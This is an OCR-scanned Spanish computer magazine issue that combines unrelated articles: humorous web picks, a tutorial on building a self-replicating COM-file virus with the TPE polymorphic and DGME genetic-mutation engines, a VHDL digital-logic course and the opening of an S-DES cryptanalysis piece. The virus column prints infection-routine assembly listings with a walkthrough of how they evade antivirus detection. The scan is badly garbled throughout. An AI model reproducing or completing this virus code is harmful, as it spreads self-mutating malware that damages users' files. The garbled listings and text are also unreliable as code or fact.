dio VI? Esas y muchas mas preguntas tienen
respuesta, si acaso en base a una serie de elu-
Injurices of Darth Vader cubraciones, en esla pagina web. Vale, hay que
ser muy friki para elaborar leorias médicas de
lo que ha vivido un personaje de ficcion, pero
es que estamos hablando de Darth Vader,
sefiores. En esta pagina web se habla de las va-
rias explicaciones de la batalla que dejo a
Darth Vader para el arrastre (porque desde ha-
ce anos se sabia que Anakin Skywalker las pa-
saria canutas en un volcdn o en un territorio
volcanico), hasta llegar a la plasmacion del Epi-
sodio Il La respiracion de Vader, sus miem-
bros amputados, la came quemada, los
diversos accidentes que podrian haber empeo-
rado su situacion desde que se proclamo el
Imperio... Lectura interesante, desde luego.

concretamente un hit parade
de los peores juguetes de la
historia. Ya sea por su di-
sefio, concepto, finalidad o
acabado, estos objetos pue-
den ser de todo menos ju-
gueles para los peques de la
casa. Unos dardos asesinos,
un laboratorio nuclear de
3ndar F{IF CAsd, LN hill'l"lilli.'ﬂ
que corta la respiracion {: la
circulacion sanguinea...
unos cuantos juguetes mas.
Para que luego digan que
los videojuegos son dainos.
Hay juguetes que pueden
crear problemas serios. Y

die, que conste. Al contra- no, las tijeras no son un ju-
rio. nos sentimos aliviados, Eucle. lo decimos por si tu
porque asi al menos os da- ijo es aficionado a meterlas
i hay algo que nos en- mos material de calidad, y en los enchufes de casa. A
canta, ademas de las ham- nosotros no hemos tenido ver i vamos a lener que avi-
burguesas dobles con salsa que mover un dedo. Toda sar a ka Supernanny, o a
bolofiesa, es reseiar repor- una delicia. En fin. Este mes Asuntos Sociales.
tajes de otros medios. Noes  la web chorra es una de esas
por robar contenidos a na- listas de objetos absurdos,

“:Ti no serias uno de esos que pagd 300 euros por una PS3 PAL, no?":Gaby Lopez
“No, yo tengo hecha una preorder del nuevo Duke Nukem™: Carlos Verdier
armrobal@megamultimedia.com, ya estiis tardando
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mes repasaremos como
tar la engine TPE,
§ ademas veremos un virus
semplo, con su implementa-
g%n y analizado linea por linea.
Estudiaremos estas técnicas
para nuestras propias investi-

gaciones. ;)

tando TPE
un ejemplo sencillo de cémo po-
hacer andar TPE: (ver Listado 1)

Ben, ahora que ya hemos visto cdmo se
wikza TPE de manera bidsica. Podemos
pensar seguramente, gue es sencillo utili-
zar este tipo de engines. Cuando ademds
como hemos visto en nlimeros anteriores,
s engines polimdrficas y metamdrficas
muevas traen muchos detalles interesan-
s

Bueno, amigos, ahora veremos cdmo
wtilizar la engine DGME. El cdigo fuente
de esta engine se encuentra en el libro
“Computer Viruses, Artificial Life and Evo-
ution”, que podemos obtenerlo de algu-
nos sitios de internet de manera gratuita
en formato PDF,

Bien, en principio, en el ejemplo que
acompana el uso de la engine DGME,
existen algunas funciones importantes
para la engine, algunas las podemos ver
definidas en el ejemplo: (ver Listado 2)

La funcién DNALOC es el ADN de nues-
tro virus, es utilizado por la engine para
generar decisiones a través de esta cade-
na de caracteres. Hard mezclas sexuales,
para crear caracteristicas diferentes entre
varias otras cosas.

_m PROGRAMACION GENETICA
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srg 0100
begin: call md init
push ds
push es

| puah
mo ax, cs

| Mo ds, ax
add ac, 0400
o &5, ax

' e si sl
oAy dx, of faatr hello
Mo &, 100d
o bbp, OLOO
call e gt
eall Erypt

Jparamétro para la engine

!ES = D3 + 400h
:ai el valor de 51 es cero entonces el decryptor va a
Jegtar despues del cddigo cifrado
jeste @s el cbdigo que ird encriptado
flongitud del cidigoe a cifrar
;el dessncriptor va a comenzar en la direccidn 100h
jobtenssos un nimero aleavorio en AX

ILlamamos la engine.

¢ inicializar el generador de mimeros
i aleatorios

Bxtrn
EXtEn
axten
axtEm
BXCEN

CEYPL:AsAr
hast rear thost progras
DRALOC : DWORD , DERLEN : WORD
GENE_GET : NEAR, GENE_FTR : [WORD

——— — ——— = =

smutation engine function

DEFINE_RANDOM DHA:MNEAF, MUTATE DHA:HEAR

Otra funcién importante es MUTATE_
DNA, que es la que se encarga de generar
la mutacion del ADN del virus, segin el
valor de la variable MUT_RATE. De esta
manera, el ADN del virus va cambiando
de generacion en generacion, como estd
explicado en la teoria de Darwin.

Por supuesto, de esta evolucién depen-
derd la vida de nuestro virus. Como eva-
lsamos en el nimero anterior, algunas
caracteristicas que podrian despertarse
mediante el ADN modificado, pueden “de
latar” a nuestro virus frente a los Antivirus
o Usuarios, y hacerse su raza mais “débil”.



Algunas variables son internas de DGME,
otras son necesarias configurar a la hora
de llamar a la engine. Como por ejemplo,
la variable DNALEN, que configura la
longitud de la cadena de ADN que con-
tendrd nuestro virus. El rango permitido
es entre 1 y 65535,

La logica de nuestro virus serd que si en-
cuentra un fichero para infectar, en este
caso son los antiguos ficheros ejecutables
COM, entonces buscaremos si ya estd
infectado; si es asi, no buscaremos otro
fichero, sino que MUTAREMOS el adn e
infectaremos de nuevo.

Si no estd infectado simplemente infec-
taremos como si fuera la primera vez,
creando un ADN aleatorio, nuevo para la
nueva generacion de virus. Como vere-
mas, por cada fichero NUEVO infectado,
sE Creard una generacion nueva. Esto re-
voluciona la idea de las variantes de virus,
que, generalmente se hacen a mano.

El ejemplo practico
Ahora empezaremos a analizar el virus, y
la descripcidn de él que el autor da.

“Se trata de un virus de infeccidn de
archivos COM, la engine se encarga de
encriptar l virus y el mismo archivo. Un
problema para los desinectores.

Este virus usa TPE (Engine polimdrfica tri-
dent) en combinacién con DGME (Engine
de mutacion genética darwiniana).

Este virus es para propdsitos de investiga-
cidn, no disribuir!”

Veremos las definiciones de algunas cons-
tantes y variables que serdn dtiles para el
virus. (ver listado 3)

Miremos raramente, un método que
significa un CALL a la parte principal del
virus, Esto se suele hacer en la utilizacidn
de las engines polimdrficas.

Veamos como quedaria:

extEn  cryptinear jfuncidn de la engine de mutacidn

exten  host:near jprograma que llevard el virus

extin  DEFINE RANDOM DHA:NEAR, MUTATE DeHA:HERR

excon DHALOC : DWORD, DMALEN = WORD

extrn GENE_GET:MEAR, GENE_PTR:DWORD

DTA BEgU 0QaoH jArea de transferencia de archivos
FSIZE EQU DTA+LAH Jtemafio del fichero encontrade
FHAME EQU DTA+1EH ;nombre de archivo encontrado

[INSTRUCCIONES BASURA]
[CALL POLY_DECRYPTOR)
(DATOS ENCRIPTADOS)

[POLY DECRYPTOR]

Las instrucciones basura son agregadas
por la engine también, el CALL serd ha-
cia el decriptor polimérfico. Este desen-
cripta los datos, los cuales son el virus
o el programa, v luego se ejecutaria el
virus. (ver Listado 4)

Hasta ahora hemos visto una rutina de

1

VIRSTART:
call GETLOC
GETLOC: e e
sk 21,3 iaca emplera al virua
push sl
mov ax,ds
ackd ax, 1000H
oV o8, 4% i seteanos el segeento alto en segmento + LO0OH
] di, L00H smovamos &l wvirua al offsst 100H
Mo cx, OFFSET HOST - 100H
rep moveh sperderemos el control de la infeccidn si estamos
Jdebuggeands
meny ds,ax sseteasos ds al segmento alto
push ds
mene ax,OFFSET FIND FILE
puszh ax
recf ;jsaltamos al segmento de memoria alto




-

del virus. Veamos qué sigue;

como el virus busca un

ahora tenemos el fichero a infectar
ia, con lo que ya tenemos
victima. En el se to alto de

ia, sera el lugar donde quedard

el fichero, Es necesario reescri-
ol archivo a infectar, desde el inicio,

la imagen en el segmento alto de
ia. (ver Listado 6)

Ben. amigos, estamos en las mejores par-
s de nuestro virus de ejemplo. Espero
e estén pasindolo muy bien, al igual
e vo. Es un virus muy bien estructurado
» que sirve perfectamente como ejemplo.

% been, la tecnologia utilizada no es muy
mweva, ni inspira mucho por la falta de
wso de drivers, técnicas antihooking,
bwvpass firewall, etc, tenemos una técnica
poco utilizada, v que solo algunos se han
atrevido a utilizar. Programacion genética
v engines polimdrficas.

Espero gue les haya gustado.

MNos vemos en la proxima.

Spark
http://www.disidents.com
spark@disidents.org
hittp://www.sickdogs.com.ar
spark@sickdogs.com.ar<
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FING FILE:

si

[HOSTOFS) , 5i
e,

ah, 1RH

211

oy, OFFSET COMFILE

imovemos ¢l dia al segmento de memozia alto

chy 3FH tbuscamos por el archivo a infectar no importan atribuvcs
ah, 4EH J
21H
jme HxT1
ALLDOHE s OOM Eiles to infect
moy da; FHAME jabrimos ¢l archivo a infectar
asx, 3D0ZH jabrimos con modos de lecturafescritura
Z1H
MEXT FILE
kot ax sponemos el ldentificador en bx y lo dejamos para después
ax, STO0H sobteremos &l atriburo del archive a infectar
211
AX, OX
ax, dx tfecha nor tlempo mod 10 = 3 para el archive infectads
di, dx
o, 10
ox
i, 3
INFECT_FILE el o oes 3 &l resultads, entonces infectemos. ...
mey akh, 4FH ;ei ez 3 el resultads, no infectemos. ...
Z1H

SHORT CHECK_FILE iy volvames a cheguear

INFECT FILE:
push

SEREEER T

(oS [= O ]
_EE.HFI

bx sqrabemos el ldenciilcador del fichers
ax, OFFSET DhA :seteemos al offsat del ADN
WORD PTIR [DMALOC) , ax Jpara DGME

WoORD PTR [GEME FTR].ax

AX,CN

WORD PTH [DMALOC#Z), ax

WORD PTR [GEME FTReZ],ax

ax, DMA_LENMGTH

[ DHALEN] , ax

al; [FIRST] ;o8 la primera infeccidn

al,al

HUTATE :no, mutamos el gen entonces

DEFINE_RANDOM_DHA
SHORT DMA_MODIFIED

158, definimos el gen ADN para infectar.
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En la anterior entrega, dimos por finalizado el estudio de la sintaxis del lenguaje VHDL.
Pero esto no supone sino el principio del verdadero reto, pues un lenguaje de progra-
macién no es mas que una herramienta a través de la cual, y mediante nuestra propia
pericia, plasmar nuestra creatividad. Asf pues, ha llegado el momento de cambiar el
chip -nunca mejor dicho :-P- e iniciar el verdadero trabajo. {Vamos alla!

Saludos una vez mais, querido lector,
desde estas pdginas en las que un ser-
vidor intenta aprender v ensefiar tanto
como sea posible. El mes pasado ter-
minamos de analizar los elementos de
la sintaxis de VHDL que nos quedaban
en el tintero, concretamente vimos los
tipos de datos y sus atributos, los tipos
de sentencias secuenciales, asi como las
distintas formas de jerarquizar el codigo
€n un proyecto grande.

Por supuesto, lo que hasta ahora hemos
estudiado no es ni mucho menos todo
lo que existe en VHDL, dado que se tra-
ta de un lenguaje vasto y complejo; pe-
ro si tenemos suficientes conocimientos
COMO para manejarnos con una soltura
aceptable con el mismo, que al fin v al
cabo es lo que necesitamos. Como he
dicho en la introduccidn del presente ar-
ticulo, el lenguaje ha de ser siempre una
herramienta y no un fin. Empecemos.

Electronica digital

El estudio de la arquitectura de compu-
tadores se asemeja, en cierto modo, a
los juegos de construccién modulares
que utilizibamos de pequefos (como
Lego, Meccano o K'nex). A nadie en
su sano juicio se le ocurre disefiar un
computador completo partiendo de los
materiales que lo componen, sino que
en lugar de eso, se realiza un disefo
modular ascendente del mismo.

De esta forma, podemos establecer dis-

tintos niveles de estudio de dicho di-
sefio, asi como una correlacion con la

disciplina que los estudia: en un nivel
puramente fisico y quimico encontra-
mos los materiales basicos que lo com-
ponen; los componentes electrénicos v
su interconexion es materia de estudio
del andlisis de circuitos y componen-
tes electronicos; los circuitos digitales
formados a partir de éstos se estudian
en la electronica digital; y por dgltimo la
creacion de sistemas complejos a partir
de circuitos digitales (y analégicos) es
una disciplina que conocemos como
arguitectura de computadores.

Ya comenté al inicio del curso que tie-
nes en tus manos, que el estudio de la
fisica o los componentes electrdnicos
subyacentes en todo sistema compu-
tacional no iba a ser uno de nuestros
objetivos. Sin embargo, para poder rea-
lizar un estudio de la arquitectura de
computadores, es necesario descender
un pequeno peldafo para comprender
ciertos conceptos de la electrdnica di-
gital. Ya introdujimos algunos de esos
conceptos en anteriores entregas, como
por ejemplo las puertas lgicas, pero es
necesario ahondar un poco maés en ello.

Puertas logicas: los atomos
de la computacion

En el tercer articulo del presente curso
ya hablamos de las puertas logicas y
de su importancia. Asi mismo, vimos la
implementacion de las puertas bdsicas
de dos entradas y realizamos alguna pe-
quena practica interconectando algunas
de ellas, como en el ejemplo del multi-
plexor de dos entradas.

Al igual que un dtomo es un elemento
complejo formado por otros mas sim-
ples, a pesar de que su nombre nos indi-
que la idea contraria (del griego dropov
indivisible), las puertas l6gicas también
estin formadas por diodos, transistores,
resistencias, condensadores... y al igual
que cuando estudiamos una molécula
solo atendemos a los dtomos que la for-
man y no a los componentes internos
de éstos, en la electrénica digital tam-
bién tomamos en cuenta dnicamente
las puertas légicas ¥y no su circuiteria
interna. Tal es la importancia de estos
elementos.

Pero no siempre utilizaremos puertas de
dos entradas v una salida. Por ello, es
conveniente ampliar nuestro repertorio
de componentes compilados con las
puertas AND, NAND, NOR, OR y XOR
de tres y cuatro entradas. Veamos un
ejemplo basindonos en la puerta AND
de dos, tres y cuatro entradas: (ver Lis-
tado 1)

Mo tiene sentido llenar estas paginas de
codigo fuente repetitivo, y dado que el
conceplo es muy sencillo, os propongo
COmMo ejercicio que vosotros mismos
implementéis el resto de las puertas
lGgicas en sus versiones de tres y cuatro
entradas. Si es importante mencionar
que, por las propiedades del dlgebra de
Boole, en las puertas NAND y NOR no
podremos extender el nimero de entra-
das simplemente aplicando la funcidn
ldgica a mds entradas, sino que debe-
mos utilizar unas funciones ligeramente
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Peerta D de dos entradas, con retardo de dos nanoseqandos
- 15
ODERIC (retards: TIME:= I hali
PORT (a.b: OIM BIT: =: OOT BITH:
L&

ECSTTECTIRE cosportasental OF and? 15
L ==

PROCIESS (&, B)
BTN
E &= & MND b AFTER retardor
BN PROCESS)
D comportamenital |
= Pgmrta MND de tres sntradas, ©of retandos de trel AERGBaguRdss
ETTY andd IS
EENERIC {retardo:; TIME:= 1 mals
FORT {a.b.c: TH BIT: zi OUT BITI:
B asdly
| EBCEITECTIRE comportamsntal OF andd I8
TR
PROCESRS (&, B, 2)
BEGTH
® <= [a AND b} AND c AFTER retardog
END PROCESS !
B comportasantal )
== Paarta AND de coatro entradss, oon retardo de CusEro nAnoSsgundos
ENTITY amsl IS
GEMERIC (retardo: TIME:= 4 nsls
PORT [a,b,c,d: IN BIT; z: OUT BIT):
BT and
BCHITECTURE compartassntal OF andd I35
LGN
PROCESS (8, by o d)
HEGIN
E <= [a AMD b) KMD (c AND d) AFTER metardo;

ENTITY =mmelal 19
PORT w0, xl, nZ, wB1 IN BIT:
sd.sly IN BIT:
&1 IN BIT:
i OUT BITH:
END muucdal;

ARCHITECTURE sstructural OF muedal IS
=mgisclaracidn de componaniea
COBIRENT notl

PORT [(a: TW BITp E: OUT BIT)H)
END OOMFOMENT )
OOHPORENT ardd

PORT (a,b,c,dr IN BIT; z: OUT BITIs
END COMIPOBENT »
OOMPONENT ord

PRT ia,b,c,d: IN BITy z:¢ OUT BITY:
END COMPOMENT ;
==declarsciin de sefsles
SIGMAL nmsl, nal, sal, sal, sad, sad: BIT:
==ghicacién ds arquitecturas
R ALL: not]l USE ENTITY WORE.notl (comporcassntall )
FOR ALL: andd USE ENTITY WORK.andd (comportamsntalls
FORt ALL: ord OSE ENTITY WORK.ord (comportamental) s
BRGIN
=conaxitn o8 la 3CIuCturs
posrtalotl: motl FORT MAF (50, nsd)
F.Irl:.lﬂ:lll‘.z:l notl FORT MAF (sl .nsl)s
F.rl!‘t.lll‘lﬂ.:l andd FORT MAFCnsl,nsl,x0 e, 581}
p.rl.:‘l:.lku:l!:l andd FORT MAFCnal, s, xl,e, 08215
pusrtakndl; andd PORT MAF(al,nad, 22,8, 883) 7
puectakndd; andd PORT MAF (8,80, x3;0,3a4) 0
pusctalzl: opd PORT MAF(sal,sal, sad, sad,.z)}p
B sanroctaral;

END PROCESS)
B0 comportamsntal

de sefal idénti-

co. Asi mismo,
25 conveniente
simular todas
las puertas pa-

== Puncldn de la poerta MAND de Tres entradas
£ <= (& AND b) MAND ¢ AFTER retardo)

== Fumclién de la puerta HAND de cuatro entradas
<= [ AND b) HAND (c AND d) AFTER retando;
-- Funcidn de la puerta HOR de tres entradas

r <= [a OR b) MOR c AFTER retardo)

- Funcidén de la puerta NOR de coatro sntradas
z <= [a OR b) HOR (o OR J) AFTER sebande;

ra comprobar
su correcta im-
plementacién,
y evitar asi que
un pequeno
error ahora cau-
se importantes
quebraderos de
cabeza en el fu-

distintas. En las puertas OR y XOR, por
contra, si se seguird el mismo esquema
que en las AND. (ver Listado2)

Prestad atencidn a los retardos, pues
aungue han sido seleccionados de for-
ma arbitraria por mi, no tendria sentido
simular puertas légicas de distinta com-
plejidad con un tiempo de propagacion

turo, a la hora
de incluirlas en
disefios mds complejos.

El multiplexor

El primer circuito combinacional que vamos
a ver ya lo conocemos, se trata del multi
plexor. Como ya vimos en el tercer articu-
lo del curso, un multiplexor es un circuito
combinacional con N entradas, n entradas
de control y una dnica salida, teniendo

en cuenta que se debe respetar siempre
la igualdad N=2"n. Su funcién es poner
en la salida el dato que se encuentre en la
entrada codificada (como valor binaro) por
las entradas de control. No voy a volver a
repetir su funcionamiento de forma detalla-
da, podéis rescatar el citado articulo, buscar
informacion por la red o mandarme un co-
rreo si tenéis alguna duda.

e
L

Fig. 1: Disefic del multipleror de custro entrades
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Fig. I: Simulscidn del muitiplexor de cusiro enlradas

Como ya no estamos ejemplificando la
sintaxis del lenguaje sino que estamos
realizando diseno de componentes mas
complejos, es el momento de iniciar la
aventura con un multiplexor de mayor
complejidad: en este caso, se trata de
un multiplexor de cuatro entradas y dos
entradas de control. (ver fig.1){ver Lista-
do 3)

Como podéis ver, el funcionamiento es
basicamente el mismo que en el ejem-
plo -simplificado- de dos entradas que
vimos hace tiempo. 5i que hay una en-
trada nueva que os pudiera resultar ex-
trafa, la “e”. Se trata de la habilitacién
(del inglés “enable”) del circuito, y es
una entrada estiandar en priacticamen-
te cualquier circuito digital: cuando la
habilitacion esta activada, el circuito
funciona, mientras que con la habilita-
cion desactivada, el circuito no funciona
sean cuales sean las entradas. Ese “no
funciona” puede significar desde una
salida a nivel bajo (como en este ca-
s0) hasta un estado de alta impedancia
(“Z")(Ver fig.2).

Fig. ¥ Dvsedto del demuitipleror de cuatro salides
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El demulti-
plexor

Como su propio
nombre indica, un
demultiplexor reali-
za la funcidn logica
inversa del multi- S taAcd "
plexor. Se trata de el
un circuito digital :

que tiene una uni-

ca entrada, n entra- HD estructurals
das de control y M

salidas {cumplién.

dose que N=2"n),

de forma que la sa-

lida codificada (en binario) por las entra-
das de control toma el valor que haya en
la entrada. El diseno e implementacion de
un demultiplexor de cuatro salidas v dos
entradas de control seria el siguiente.(ver
fig. 3) (ver Listado 4)

Podréis observar que la implementacidn
es mas sencilla que en el caso del mul-
tiplexor. Ademas,
si simulais la enti-

combinacional con n entradas v N
salidas, cumpliéndose que N=2"n, asi
como una entrada de habilitacién. Su
funcionamiento consiste en aclivar
una y solo una de las salidas, codifi-
cada por la configuracion binaria de
las entradas. Veamos un ejemplo de
un decodificador de dos entradas v
cuatro salidas. (ver Listado 5) {fig.5)

(A1l ]

dad vy jugdis un po-
co con ella, podréis
ver también que los
tiempos de propaga-
cidn son menores,
al existir un nivel
menos de puertas 16
gicas (la puerta OR
del multiplexor).(ver
fig.4)

]
El decodifica-
dﬂr e mea e E BEE 10 erirmder el & d—
UI'I dt“{:[]difiﬂﬂl_‘iur [ —T T ] :-?.-l-—-m-_l:r TR
(o descodificador, % s m— ' x
- & u ] : =
segln la bibliogra- e = = Ve —m

fia) es un circuito

Fig. d: Simuiacidn del demulliplexcr de cuaino salicas
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Fig. 5: Disefo del decodificador de 2 entradas y 4 salidas

Seguramente la mayoria habrd caido
en la cuenta de que su funcionamiento
es muy similar al del demultiplexor. De
hecho, si creamos un demultiplexor cu-
va entrada “d” esté siempre activa, nos
encontraremos ante un decodificador,
al igual que si duplicamos la habilita-
cion “e” del decodificador para actuar
también como entrada “d”. Por ello, co-
mercialmente no se producen circuitos
digitales demultiplexores sino que éstos
son implementados mediante decodifi-
cadores cuando resulta necesario.

También es importante sefalar que exis-
te un tipo especial de decodificadores
conocidos como decodificadores excita-
dores o “drivers”, cuya funcién es adap-
tar los niveles eléctricos de las sefales
electrénicas destinadas a un elemento
de visualizacién, como por ejemplo un
display de siete segmentos (el tipico di-
gito de las pantallas de cristal liguido de
los relojes o minicadenas) (ver fig 6).

El codificador
Un codificador es un sistema combina-
cional gue realiza la funcién inversa al

F o —
ey B B B e S
O — [ ] e AL WP e

LIV ARQUITECTURA DE COMPUTADORES ==

decodificador que
acabamos de ver,
Tiene N entradas
y n salidas (con
MN=2*n), asi como
una entrada de
habilitacion “e” y
una salida de ac-
tivacion *a”. Su
funcién es codifi-
car en las salidas
la configuracion
binaria del ele-
mento activo en
la entrada iésima,
de forma que si,
por ejemplo, ac-
tivamos la cuarta
entrada, se codifi-
que “100" (Z0=0,
Z1=0, Z2=1) en
la salida. La salida
de activacion tie-
ne por fin discernir
cuando un cero
codificado en la
salida corresponde
a la activacion del
elemento de entra-
da cero y cudando
corresponde a la
inactividad de to-
dos los elementos

A= -0
1 :? f o
¥ 4

S "

Listado 5
ENTITY decedad 1S
PORT (x0,x1: IN BIT:
a1 IW BIT:

20,21, 22, 23 OUT BITh:
EMD desadad}

ARCHITECTURE estrustural OF decodad IS

——gpclaraclion de Comporitad

COMFOMENT nok i
PORT ([a:

END COMPONENT ;

COMPONENT andl
PORT (a;b,c: IN BIT: =5

END COREPORENT

==gpclaracicn e seflales

SIGHMAL nal, nxl: BIT:

--ghficacidn de arquitectucas

FOR ALL: notl USE ENTITY WORE.notl (comportamentalls

PRt RLL: and® USE ENTITY WORK.andd (cosportamental])

BEGIN

—conexibn de la satructurd

pusctakotl: notl FORT MAP(x0,nx0):

notl PORT MAP(x1,nxl):

andd FORT MAF (nxl,nsd, @, 20)

arcld PORT MAP (nxl,xl,e,zlis

peertasndl; andd PORT MAP(xl, 0, e,22)

poertadndd: andd PORT MAP(x1: X000, 2201

EMD aatructural;

IN BIT: z: OOT BITI:

QIFT BIT) !

puscTalokb?:
pUBETARDdL !
st rtaknds ;

de entrada. Por ejemplo, echemos un
vistazo a este codificador de ocho en-
tradas y tres salidas (ver fig.7)

Como podréis observar, nos encontramos
con una puerta OR de ocho entradas, la
cual no estd en nuestro repertorio. Po-
driamos imple-
mentar dicho
circuito facil-
mente, perd no
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Fig. §: Simulacion del decodificador de dos enfrades y cuatro salidss

i
o ke bk

es habitual trabajar con puertas de un
nimero de entradas tan elevado, por lo
que conviene acostumbrarnos a generar
equivalencias con los elementos ya dis-
ponibles. Asi, podemos implementar la
puerta OR de ocho entradas mediante
una puerta OR de dos entradas, en la

E

Fig. T: Disefio del codificador de ocho entradas i tres salides

& s



ARQUITECTURA DE COMPUTADORES

tan controladas
para gue nunca
NS enconirermos
con la situacion

EXNTITY codBald IS

FORT [l wl nd, wl, ud, @5, 06, 47: IM BIT: |

@z I[N BITr
20, zl, 22 OUT BIT:
az OUT BITHs

ERD codials

ARCHITECTIRE estructural OF cocdfald 13
==fpslaracidn & componanies
COMPORENT a2

FORT (a.b: IM BITy; z: OOUT BIT):
EMD COMPOMENT)
DOMPORENT ord

PORT fa,b.c.d: IN BRTY z: OUT BITir

ENDF COMPOMENT 5
TOMPONENT andl

PORT da:b: TN BIT) E: OUT BITIP
ERD COMPORENT
==Fclaracidn & Sofales
SIGHAL #al, 3ol sad, scd, tepol, tmpodr BIT:
==ihioallin OF apquitecturas

FOR ALL: ar2 USE ENTITY WORN.or2 {comportassntall s
FOR ALL: ord USE ENTITY WORK.ord|(oomportasentall:
FOR ALL: and? USE ENTITY WORK.and? (compartasentall s

BEGIN
==ponexidn da la sstrustura
pusrtadrl: ofd PORT MAP (2] %3 0% 00,8010 r
puertalnd: ord PORT MAF (a2, 0, wb, w7, 002) 1
puertalri: ord PORT MAF (o, xh, 06, 57,000

| poertalrd: ord PORT MAF(wl,xl,nZ,xd, tepall s
poartalerS: ord PORT MAFDol, xb, of, xT, tepod]
ponrtaleé: or2 PORT MAR(tmpol, tmpod. 2od)
punrtadndls and? PORT MAF(s0l,®.200 7
pusrtabnd?: and? PORT MAPR(B0Z,e.zld;
p!.ru-rt.und!: and? PORT MAP(aD3. 0. 2201
puertahndd: andl PORT MAF(8040.80 1

| EMD estructural;

fue cada una de dichas entradas sea a su
vez la salida de una OR de cuatro de las
ocho entradas que queremos incluir en la
funcidn logica. Serd necesario, por tanto,
definir dos sefales temporales para unir
sendas OR de cuatro entradas a la OR
de dos entradas que generara la funcion
pertinente. Asi pues, podriamos imple-
mentar el circuito de la siguiente forma:
{ver Listado 6)

Cuando compiléis v simuléis este elemen-
to, podréis comprobar que la activacion
de mds de una entrada simultineamente
genera resultados extranos en la salida.
Concretamente, la combinacion logica
correspondiente a la suma logica de las
salidas que se oblendrian con la activa-
cion de cada una de las entradas. Esto
es asi porque este circuito es lo que se
conoce como un codificador sin prioridad,
en el que se supone que las entradas es-

ﬁa:n

| de que se ac-
tiven varias a la
| wvez. Cuando no
| podemos garan-

tizarlo, utiizamos

los denominados

codificadores
| con prioridad,
donde la salida
coresponde a la
entrada conside-
rada mas prionta-
ria (normalmente,
la de mayor valor
decimal); o bien
podemos utilizar
un circuito de
resolucion de
prioridades, que
desactive todas
las entradas por
| debajo de la de
mayor peso. Si
no es Necesano,
no suelen utilizar-
se codificadores
con priondad, da-
do que aumentar
la complejidad
del circuito siem-
pre disminuye su
velocidad, v por
tanto su eficien-
Cial.

Sistemas combinacionales y secuenciales

El mes que viene...

Este mes, tras haber finalizado por fin
el estudio de la sintaxis del lenguaje,
hemos comenzado a trabajar en serio
en el diseno de componentes comple-
jos. Aunque la complejidad, por el mo-
mento, es limitada, es conveniente ir
practicando todo lo visto, compilando
y simulando todos los cadigos inclui-
dos en el articulo asi como otros que
s¢ os puedan ocurrir a vosotros, de
forma que los conocimientos se vayan
asentando de la manera mds natural
posible,

Dado que la cantidad de archivos de
codigo fuente que tenemos va crecien-
do por momentos, y dado que no resul-
ta practico repetir lo que ya se publicd
en otros nimeros; para cuando tengas
el presente texto en tus manos, esta-
rin publicados mes a mes todos los
ficheros de cddigo fuente en mi pagina
personal, de forma que no tengdis que
invertir tiempo en introducirlos a mano.
¥, como siempre, mi correo electrénico
estd a vuestra disposicidn para cual-
quier duda o problema que tengais.

Hasta el mes que viene, a la misma
VHDL-hora, en el mismo VHDL-lugar.
iMos leemos!

Ramiro C.G. (alias Death Master)
death_master@hpn-sec.net
http:/ /www.death-master.tk/

En ol estudio de |3 elecironica digital, suelen disinguirse dos lipos de circuilos principalmente, por una Lado los
denominados sistemas combinacionales y por el olro los ssiemas secuenciales. Ambos estan compuesios basica-
mente por los mismos elementos (puertas bogicas), pero difieren en La lorma de interconactaros.

Un sisterna combnacional es aquel cuya salida (o salidas) depende Gnicamente de las entradas en un instanle
determinada de tempo. Todos ks ejemplos que hemos visto hasta ahora son sisiemas combinacionales, inchuyendo
las propias puertas logicas. Si recontiis el ejemplo de |a puerta AND de dos eniradas, realizamos una implemen-
{acon donde la puerta lenia dos nanosagundos de retardo, de forma que [ sabda ded cincuito (en este caso de la
puerta logica) dependia en cada instante de empo Onicamente de qué valones Kgicos hublera en sus dos entradas
dos nancsequndos antes. El nimero de enfradas, saldas o el liempo necesano para recomer &l circuito puede vanar,
pero todo sistema combinacional se comporta de igual forma que la puerta AND, y sus salidas estaran deleminadas

dnicamende por el valor de sus eniradas.

Enfonces, ;qué pasaria si conectamos la propia salida del circuilo a su entrada? Ahora, |a salida depende de las
aniradas, una de las cuales (al menos) dependeria de la salida anterior... es decrr, estariamos realimentando & cincu-
to. De esta forma, la salida ya no depende Gnicamente de las entradas sino también del estado en el que & crouto s&
encontrara en &l instante de Bempo en & que ko analizamos. Dicho estado viene dado por la refacion én el bempo de
las entradas y las sabdas del proplo circuiio. Este Bpo de circuilos &5 ko que cONGOEMOS COMO Sislemas secuencales
¥ resultan de vital importancia puesto que son ka base de las memorias. De ellos hablaremos més adelante.




fompieno el algon

Este mes traigo nueva comida para sus cerebros. Estudiaremos
a fondo el algoritmo S-DES y luego explicare como se puede

llevar a cabo un ataque para poder romperlo. Claro, hay codigo

fuente incluido... no podia faltar. ;)

;Qué es 5-DES?

5-DES (sdes de ahora en adelante) es
una version reducida del famoso algorit-
mo DES. De ahi su nombre Small DES. El
algoritmo DES significa Data Encryption
Standard, y pretendid ser un algoritmo
estandar de cifrado. DES se ha podido
romper con diferentes métodos, como
ahora veremos. Utilizaremos métodos
como criptoandlisis diferencial v linear.

Un famoso estudio realizado por FBI
demuestra que la cantidad de ataques
v criptoandlisis realizados son utilizados
por empleados poco satisfechos y por
hackers independientes. Esti de mds de-
cir que a veces un investigador es llama-
do hacker y el término estd mal aplicado.
Pero ese es otro lema.

Lo que utiliza sdes es un blogque
de cifrado mucho mis pequefio y una
longitud de clave mucho mds pequeiia
también. Los blogues son de 8 bits y con
una clave de 10 bits. S-DES fue en un
momento disefado para realizar test so-
bre criptoanilisis linear, diferencial y los
dos métodos mezclados, denominado
linear-diferencial.

S-DES es un cipher simétrico, es decir,
utiliza la misma clave para cifrar como
para descifrar. Es interesante saber que
algunas partes de la clave, en especial
algunos bits, son modificados de manera
que el proceso de descifrado sea inverso
al de cifrado.

Cada bloque a cifrar es procesado
por un método denominado permuta-
cidn inicial. Luego se utiliza dos bucles
dependientes del contenido de la clave.
Por dltimo, se utiliza una permutacion
final gue es la inversa del primer proceso
de permutacidn. La clave de 10 bits es

&

utilizada para generar dos partes de 8
bits cada una, donde cada uno de estos
bloques se utiliza cada parte de manera
particular.

[leifimendo el proceso de
las claves

Definiremos algunas variables. A la
clave principal la denominamos K, y los
dos grupos de 8 bits son K1 y K2, Y el
proceso se denomina KS. Estas son las ta-
blas utilizadas para generar las dos claves
de 8 bits. Estas tablas son denominadas
Permuted Choice.

R o

97380 931750642

26514

Aqui podemos ver que el 9y el 2 son
permutados de manera que los bits mas °
significativos del 9 quedan concatenados
con los del 2 v viceversa. De este proce-
s0 se crea el primer grupo descendiente
de la clave. Se trata de K1, v luego se
hace lo mismo con la segunda tabla de
permutacion, con lo que se obtiene K2.

El proceso de cifrado

